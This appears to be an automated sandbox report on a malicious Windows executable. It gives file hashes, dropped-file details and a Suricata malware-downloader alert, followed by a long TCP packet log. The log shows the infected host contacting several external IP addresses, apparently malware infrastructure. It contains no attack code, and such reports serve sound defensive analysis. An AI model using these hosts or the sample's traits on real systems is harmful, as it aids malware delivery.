MD5:	074ED5F745FD9A2EF6F29FD2D9AFB07A
SHA1:	86A99DC6671F246AAE0C45F9AC678D5604A237F7
SHA-256:	F89541C6B15925915CB3BBA6E812FF868C99FFDA7581C866EC9DFB6B4EA1507F
SHA-512:	1629A50C06B2FABE1F911C4997727D4963BF1A99A1949507D1F6FE46657AA1000F28A9000B32C202DE4C3410315D1CB1823FE512CECB3750C8906D5C5392EE6D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........\T..>....&.....H@..&y................@.............................@Z.....k._...`... ......................................p}.Y.....}..............`v..u............}............................. (v.(...................p.}.0............................text....G@......H@.................`..`.data....H...`@..J...N@.............@....rdata.. .1...D...1...D.............@..@/4...........Pv......4v.............@....pdata...u...`v..v...6v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......8x.............@....tls..........}......:x.............@....reloc........}......<x.............@..B/14...........~......,y.............@..B/29.......K...~...K..0y.............@..B/41.....'.......,...:..............@..B/55.....

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.661246408240617
Encrypted:	false
SSDEEP:	6:ROV8KhGWAD2WtNT38k3ECO6xHoY0jYijX3:cVVGie3v3AfVL
MD5:	6336C9FB92B729A91192AE0D8F513635
SHA1:	5C894982B4121B2E8666AF9461DA1AB6A9842DC1
SHA-256:	B7F7353F4153831BD5E840EE05781574F88C82929D9BD8E17A2639EBB3539B77
SHA-512:	1A964980B4280286F367E718A4C8BDDA9E1AF1EC80F376F1C7A43F708A5D68C47C4DC8B65DB8EB6337CAFDFD66FAD39C0D7D838BB1F04C774C12E0EA3A82225E
Malicious:	false
Preview:	The XKEYBOARD keymap compiler (xkbcomp) reports:..> Warning: Type "ONE_LEVEL" has 1 levels, but <RALT> has 2 symbols..> Ignoring extra symbols..Errors from xkbcomp are not fatal to the X server..

\Device\Mup\user-PC\PIPE\samr

Download File

Process:	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	160
Entropy (8bit):	4.438743916256937
Encrypted:	false
SSDEEP:	3:rmHfvtH//STGlA1yqGlYUGk+ldyHGlgZty:rmHcKtGFlqty
MD5:	E467C82627F5E1524FDB4415AF19FC73
SHA1:	B86E3AA40E9FBED0494375A702EABAF1F2E56F8E
SHA-256:	116CD35961A2345CE210751D677600AADA539A66F046811FA70E1093E01F2540
SHA-512:	2A969893CC713D6388FDC768C009055BE1B35301A811A7E313D1AEEC1F75C88CCDDCD8308017A852093B1310811E90B9DA76B6330AACCF5982437D84F553183A
Malicious:	false
Preview:	................................xW4.4.....#Eg.......]..........+.H`........xW4.4.....#Eg......3.qq..7I......6........xW4.4.....#Eg......,..l..@E............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.441966873787832
TrID:	Win32 Executable (generic) a (10002005/4) 99.10% InstallShield setup (43055/19) 0.43% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	T2dvU8f2xg.exe
File size:	20'954'448 bytes
MD5:	e94178c1c416647220889ffd3bdecfb5
SHA1:	2b14a3564d79362ba2bdfce85fca4c4b595531bd
SHA256:	aff26ef08f47b7543f4f84e5fd6d378d950f9b7d99a2397e3e56fb064db0efe2
SHA512:	5f7f82146efbdcf968419cc1e43c2b19a4fa1ef95fe55e9ee78ea46cdc8f07f09cc5473697c5c48fc05a1d3683a031e3508946cc2ab21b7168f0aa98c8e20e16
SSDEEP:	393216:bmWPWKfiaQENSoXO0lRuZeB9fbKZgBNcSTwnDsyHwPj:Pdia/+0HuZW9fbKa7c/VQr
TLSH:	0727CF15F7418427D1670A74C817B6FAA92A7E202F3C45E7F7E02E1CAB356C37639286
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	41774d4161c50c19

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T13:35:19.835138+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49844	107.148.62.100	8084	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 13:35:26.848450899 CET	49727	8087	192.168.2.6	154.19.200.133
Dec 18, 2024 13:35:26.968633890 CET	8087	49727	154.19.200.133	192.168.2.6
Dec 18, 2024 13:35:26.968723059 CET	49727	8087	192.168.2.6	154.19.200.133
Dec 18, 2024 13:35:26.969700098 CET	49727	8087	192.168.2.6	154.19.200.133
Dec 18, 2024 13:35:27.089399099 CET	8087	49727	154.19.200.133	192.168.2.6
Dec 18, 2024 13:35:27.113838911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:27.113903046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:27.113962889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:27.144144058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:27.144174099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:28.804131031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:28.804215908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:29.442792892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:29.442831993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:29.443291903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:29.443382025 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:29.519802094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:29.544451952 CET	8087	49727	154.19.200.133	192.168.2.6
Dec 18, 2024 13:35:29.544717073 CET	49727	8087	192.168.2.6	154.19.200.133
Dec 18, 2024 13:35:29.567332029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:29.571856976 CET	49727	8087	192.168.2.6	154.19.200.133
Dec 18, 2024 13:35:29.691485882 CET	8087	49727	154.19.200.133	192.168.2.6
Dec 18, 2024 13:35:30.265404940 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.265465021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.265506983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.265588045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.265645027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.265681982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.265702963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.314286947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.314367056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.314414978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.314455032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.314491034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.314522982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.490956068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.491027117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.491070032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.491099119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.491117954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.491142988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.525594950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.525619984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.525675058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.525695086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.525722980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.525746107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.566471100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.566495895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.566560984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.566586971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.566601992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.566626072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.608706951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.608726978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.608776093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.608787060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.608817101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.608829975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.722599983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.722640038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.722687006 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.722724915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.722739935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.722760916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.741389036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.741411924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.741460085 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.741480112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.741506100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.741527081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.758080959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.758109093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.758148909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.758182049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.758197069 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.758218050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.772016048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.772032976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.772078037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.772099018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.772119045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.772134066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.784120083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.784138918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.784213066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.784233093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.784266949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.820425987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.820461035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.820517063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.820538998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.820549965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.820569038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.896102905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.896130085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.896183014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.896205902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.896219015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.896253109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.918385983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.918411970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.918467999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.918483019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.918494940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.918512106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.930326939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.930346966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.930406094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.930419922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.930457115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.930476904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.940840006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.940866947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.940943956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.940965891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.941009998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.948510885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.948571920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.948587894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.948604107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.948632956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.948642969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.956388950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.956408978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.956459045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.956468105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.956496000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.956510067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.963713884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.963740110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.963783026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.963790894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.963818073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.963830948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.971343994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.971369028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.971415043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.971424103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:30.971445084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:30.971465111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.085038900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.085077047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.085119963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.085144997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.085166931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.085184097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.106127977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.106151104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.106189013 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.106204033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.106215000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.106235981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.111397982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.111416101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.111457109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.111465931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.111498117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.111512899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.117845058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.117867947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.117911100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.117919922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.117959976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.117974043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.123996019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.124016047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.124054909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.124063969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.124077082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.124109030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.129384041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.129403114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.129435062 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.129442930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.129467964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.129493952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.135425091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.135443926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.135481119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.135489941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.135535002 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.141028881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.141047955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.141081095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.141092062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.141118050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.141135931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.275666952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.275695086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.275743008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.275755882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.275785923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.275815010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.296834946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.296857119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.296907902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.296941042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.296955109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.296977997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.301732063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.301749945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.301789045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.301795959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.301831961 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.308063030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.308079958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.308119059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.308129072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.308156967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.308176994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.314513922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.314578056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.314588070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.314611912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.314627886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.314672947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.319883108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.319936991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.319953918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.319963932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.319993973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.320013046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.326594114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.326639891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.326661110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.326672077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.326704025 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.326719046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.332621098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.332667112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.332690954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.332704067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.332732916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.332746029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.467577934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.467605114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.467648983 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.467662096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.467710018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.467710018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.489041090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.489068985 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.489114046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.489125967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.489161015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.489182949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.494312048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.494338989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.494438887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.494448900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.494482994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.500533104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.500555992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.500593901 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.500601053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.500643015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.505938053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.505964994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.505995989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.506002903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.506038904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.506055117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.512271881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.512295961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.512335062 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.512341976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.512377024 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.518069029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.518093109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.518126965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.518134117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.518151045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.518171072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.524460077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.524487019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.524538040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.524544954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.524569988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.524588108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.659651041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.659679890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.659748077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.659789085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:31.659817934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.659837008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:31.681420088 CET	443	49728	118.107.29.172	192.168.2.6
